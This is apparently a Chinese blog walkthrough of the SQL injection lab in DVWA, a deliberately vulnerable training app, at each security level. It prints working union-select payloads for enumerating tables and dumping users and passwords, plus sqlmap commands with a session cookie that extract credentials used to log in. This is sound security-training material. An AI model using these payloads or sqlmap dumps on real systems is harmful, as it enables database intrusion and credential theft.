DVWA SQL Injection(回显注入)全等级

SQL Injection(回显注入)

目录:


注入思路:

是否有注入?是字符型还是数字型?查看回显位

1. Low

源码关键语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

通过查询语句可以看到,它是根据限制user_id字段来回显数据的,

我们的可控位置就是$id这个变量

可以通过单引号闭合,然后通过#注释掉之后的语句来实现sql注入

例如

$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select user,password from users #’;”;

获取表长度

1’ order by n #

DVWA SQL Injection(回显注入)全等级

获取当前数据库
-1’ union select database(),version() #

DVWA SQL Injection(回显注入)全等级

查询database里的表名

information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。

-1’ union select 1,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #

DVWA SQL Injection(回显注入)全等级

查询users里的列名
-1’ union select 1,column_name COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’ #

DVWA SQL Injection(回显注入)全等级

查看字段数据
-1’ union select user,password from users #

DVWA SQL Injection(回显注入)全等级

2.Medium

只能选择固定的几个数字

添加了mysqli_real_escape_string() 函数,过滤了一些特殊字符

查看源码发现是数字型注入

可以用burp抓包,在burp里注入

burp重复Low级的操作,但是注意是数字型数据,所以不要用单引号闭合

DVWA SQL Injection(回显注入)全等级

3. High

多了LIMIT 1,SELECT只能执行一条查询语句。

绕过非常简单,只要#注释掉后面的语句就行了。

在搜索框或者burp实行和Low级别一样的操作就行了。

DVWA SQL Injection(回显注入)全等级

4.Impossible

只能输入数字,不可能产生注入。

5.运用sqlmap自动化注入

1.查看信息

首先-u指定可能存在url注入的url地址,然后–cookie指定cookie值

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low"

DVWA SQL Injection(回显注入)全等级

结果:

DVWA SQL Injection(回显注入)全等级

可以查看到靶机的一些信息。

2.查看数据库名

–dbs参数代表查看存在的数据库名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" --dbs

DVWA SQL Injection(回显注入)全等级

结果:

DVWA SQL Injection(回显注入)全等级

3.查看表名

-D指定数据库名为dvwa,–tables查看表名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa --tables

DVWA SQL Injection(回显注入)全等级

结果:

user表明显是存放用户数据的表,所以下一步查看此表数据

DVWA SQL Injection(回显注入)全等级

4.查看字段名

-T指定表名,–columns 查看字段名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users --columns

DVWA SQL Injection(回显注入)全等级

结果:

可以查看存在password字段

DVWA SQL Injection(回显注入)全等级

5.查看字段数据

-C指定查看的字段名,–dump查看字段数据

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users -C "user,password" --dump

DVWA SQL Injection(回显注入)全等级

结果:

DVWA SQL Injection(回显注入)全等级

登录

尝试拿获取的数据登录

DVWA SQL Injection(回显注入)全等级

登陆成功,用户名为gordonb

DVWA SQL Injection(回显注入)全等级

上一篇:记录ABAP开发的日常——submit的使用案例


下一篇:Go+ HTTP 服务器教程(5.2)